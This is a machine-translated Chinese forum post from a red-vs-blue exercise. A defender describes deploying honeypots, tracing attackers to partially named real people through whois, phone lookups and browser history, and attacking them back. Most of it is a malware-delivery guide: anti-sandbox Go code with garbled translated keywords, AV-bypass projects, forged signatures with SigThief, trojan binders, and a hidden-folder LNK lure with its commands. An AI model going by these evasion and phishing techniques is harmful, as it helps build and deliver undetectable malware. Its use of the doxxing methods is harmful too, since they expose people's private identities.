发布于12月5日12月5日 前言 溯源与对策一直是老生常谈的话题。这是一场红蓝双方的对抗比赛。即使是专业的红队也会犯错误。原因大致可归纳为以下几点: 比赛提供的机器速度太慢,使用虚拟机影响效率。红队操作习惯较差,没有使用干净的虚拟机。机器上有可以追踪的文件或信息。 “大多数溺水的人都是会游泳的人。”他们低估了敌人,因为他们有经验。他们相信自己不会犯错误,不会误认蜜罐。他们没有使用隐身模式,也没有识别蜜罐插件,甚至与队友分享蜜罐结果。对策的大致流程 蜜罐部署 在部署高仿真虚拟环境时,有一些事项需要注意。 部署的蜜罐必须提前向裁判报告,避免后续纠纷,并且蜜罐必须单独隔离,防止横向扩散。蜜罐一定不能太假。如果在多个端口上开放不同的Web服务,系统必然会给攻击者一种他们依靠自己的努力来获得结果的错觉。如果直接使用xx厂家的云蜜罐,特点非常明显,很容易在测绘平台上贴上蜜罐标签。而且常规的对抗功能毫无用处,触发条件也非常苛刻。 这次我们直接使用了之前用于漏洞调试的致远OA环境。考虑到攻击团队有学生团队,因此保留了nday的漏洞环境,以便可以直接使用一键getshell工具进行渗透后利用。 导入镜像到云服务器,需要从以下地址下载驱动并安装,然后导出镜像。否则云服务器上导入会失败。 https://cloud.tencent.com/document/product/213/17815 建立成功后,将域名解析为IP。域名最好主要以demo、crm常用字典中的字符命名,以保证子域名扫描器能够识别。 另外,还可以通过waf自定义重定向页面到蜜罐地址,加快fofa、hunter等测绘平台的采集速度。 蜜罐部署完成后,下一步就是选择木马投放。文件内容可以从密码簿、内部VPN程序、公司地址簿和其他吸引攻击者的东西中选择。 这次我选择伪装内部VPN程序,配合文档指导,增加可信度和点击率。 由于攻击方对蜜罐的点击充满随机性,为了及时反击,可以设置在线提醒。详情请参考https://xz.aliyun.com/t/10698 接下来就可以等待好消息,等待攻击者上钩了。主要是姜太公钓鱼。 溯源 一般可追溯性 溯源评分规则需要交叉证据并证明攻击者具有网络安全攻击能力。攻击者的IP 可以从态势感知或防火墙中收集。 IP去重后进行指纹识别,如安全博客、扫描仪等,从这些资产中溯源可以提高效率。这里推荐使用ehole。 https://github.com/EdgeSecurityTeam/EHole 例如,基于IP的端口扫描显示其构建了灯塔系统。 并且通过态势感知平台,我们发现最近进行过扫描,大概率是攻击团队的IP地址。 去微步查询IP,发现该IP绑定了域名。国内域名需要实名注册。 通过查询域名的whois信息,我们可以得到攻击者姓名:沉xx,QQ邮箱:578xxxxx [email protected] 反击队员1 该案例来自最近的一款PS游戏。寂静的夜里,线上的警报突然响起。我正准备收拾东西下班。我突然觉得不再困了。 在对策过程中,由于周转过快,可能会遗漏一些重要的内容。建议在执行操作时录制屏幕。 根据机器上的屏幕录制文件,推测他们是现场攻击小组的成员。但由于视频太大,无法复制取证,只能另想办法确认攻击团队。 攻击者有良好的操作习惯。他正在使用虚拟机。他在各个文件夹中找了半天也没有找到与个人信息相关的文件。正当他一筹莫展的时候,他突然在浏览器历史记录中发现了这条记录。 原来用户名是一个手机号码。起初我以为这只是一个普通的攻击结果,但我并没有注意。百度了一下,发现这是一部来自浙江温州的手机。它显然与这个硬件不对应。据猜测,这是攻击者自己的手机。 于是我通过手机号码查了个人信息,得知姓名为陈xx,就读于浙江xxxx学校。我通过Google语法搜索关键词,成功查到他在xx信息公司工作。 通过内部通讯录两次确认攻击小组成员的身份,确认其为实验室工作人员。这样,所有信息都正确了,工作就结束了。 插曲:灯塔系统的账户密码也是从浏览器历史记录中获取的。攻击队应该庆幸我没有删除任务,哈哈? 反击小队成员2 另一位幸运玩家不小心踩到了罐子,从机器上的python脚本文件中找到了ICP注册查询的cookie和token。 Burp替换cookie后成功获取攻击者的百度ID 然后我在网上搜索了与他的名字相关的信息,发现已经建立了一个技术博客,我成功定位到了他的真名吴xx。 并通过机器上的CISP-PTE考试信息进一步确认自己的身份 反击小队成员3 安静的村庄突然收到微信好友请求。当我吃瓜的时候,我就知道它来了。我一看就知道是微信钓鱼的攻击队,我就用它来配合他们的表演。 这里利用热点和虚拟机模拟个人终端环境,点击攻击团队的木马程序,将反钓鱼木马文件xx蓝方信息表放置在桌面上。 这里使用lnk文件。制作方法可以通过后面的lnk文件制作模块查看。为了实现解压文件时无法预览内容,我们需要选择rar压缩文件进行加密。 这样解压后就只会出现一个独立的lnk文件。在爆冷的hw后期,进攻方很容易放松警惕,不去注意。最终机器成功上线。 涉及的技术手段 木马反查 如果你想反击攻击队,首先你需要的是一个不可杀的、耐久的、能抵抗和攻击的木马。 厚着脸皮,我趁机打广告。通过国产杀毒软件常见的三剑客后,添加反沙箱代码即可实现微步绿色,VT10以内 菜鸟项目:https://github.com/Pizz33/GobypassAV-shellcode 好兄弟王朝功的项目:https://github.com/wangfly-me/SysHttpHookSleep 反沙箱 传统的反沙箱有很多,比如检测开机时间、机器内存大小、鼠标移动和点击等,这里介绍两个比较实用的,剩下的可以慢慢摸索。 检查桌面文件数量 函数桌面(){ 桌面路径,错误:\=os.UserHomeDir() 如果错误!=nil { fmt.Println('无法获取用户桌面路径:', err) 返回 } DesktopFiles,错误:\=ioutil.ReadDir(filepath.Join(desktopPath, '桌面')) 如果错误!=nil { fmt.Println('无法读取用户桌面文件列表:', err) 返回 } 文件计数:\=len(桌面文件) fmt.Println('用户桌面文件数量:', fileCount) 如果文件计数10 { os.退出(0) } } 检查正在运行的程序名称是否一致 函数过程(){ 可执行路径,错误:\=os.Executable() 如果错误!=nil { //处理错误 返回 } sourceFilename :\=filepath.Base(executablePath) //源文件名 processName :\=filepath.Base(os.Args\[0\]) //当前运行进程的名称 //比较源文件名和进程名是否相同 if strings.EqualFold(sourceFilename, processName) { //进程名与源文件名相同,正常运行 //这里进行正常操作 } 否则{ //进程名与源文件名不同,可能运行在沙箱环境中 //这里进行相应的反沙箱操作 os.Exit(0) //退出程序 } } 资源替换 完成反杀处理后,肯定需要将其伪装成普通文件。图标和签名非常重要,可以在一定程度上避免360qvm检测。 批量生成钓鱼马 https://github.com/Pizz33/360QVM_bypass 360会拦截不携带资源且标记为HEUR/QVM202.0.29xx.Malware.Gen的可疑程序 直接提取图标并添加到exe中也会拦截。 使用方法: 将防杀马命名为test.exe,运行脚本python icon-exe.py -f ico_file -n number (ResourceHacker.exe来自网络,不放心的可以自己替换) 该脚本通过生成不同哈希值的ico并写入程序来实现批量bypass360QVM。生成的文件位于输出文件夹中。 达到效果 伪造签名 https://github.com/secretsquirrel/SigThief python sigthief.py -i 360Safe.exe -t notepad.exe -o tes.exe -i 是签名文件 -t 为需要伪造的文件 -o 是输出文件 https://www.trustasia.com/solution/sign-tools 图标提取 https://github.com/JarlPenguin/BeCyIconGrabberPortable 图标更换 资源黑客 木马捆绑程序 在反制过程中,如果攻击者运行文件后没有任何响应,就会引起对方的怀疑。这时候就需要将准备好的正常文件发布出来,以减少对方的戒心。 https://github.com/H4de5-7/Bundler-bypass 导入普通文件和木马,编译生成 https://github.com/Yihsiwei/GoFileBinder 陷阱: 1、命令中的exe必须放在release文件之前。命令的顺序不能改变,否则生成后将无法正常发布。 2、选择的go版本是17,测试发现18版本会生成失败。 lnk文件制作 的钓鱼样本结构如下。要打开的文件夹是快捷方式和隐藏文件夹。隐藏文件夹中有多层目录,最后一层目录包含真正的木马文件。 它是MACOS文件夹下的真正木马,并且文件夹设置是隐藏的。 attrib +s +h +r C:\\Users\\Public\\xxx.exe attrib -s -h -r C:\\Users\\Public\\xxx.exe 根目录下的快捷方式修改目标属性,相对路径指向真马。 %windir%\\system32\\cmd.exe /c start .\\.\_\_MACOS\_\_\\.\_\_MACOS\_\_\\.\_\_MACOS\_\_\\.\_\_MACOS1\_\_\\xxx.doc C:\\Windows\\explorer.exe '.\\.\_\_MACOS\_\_\\.\_\_MACOS\_\_\\.\_\_MACOS\_\_\\.\_\_MACOS1\_\_\\xxx.exe' C:\\Windows\\explorer.exe '.\\.\_\_MACOS\_\_\\.\_\_MACOS\_\_\\.\_\_MACOS\_\_\\.\_\_MACOS1\_\_\\xxx.exe' 转自原链接地址:https://forum.butian.net/share/2405
创建帐户或登录后发表意见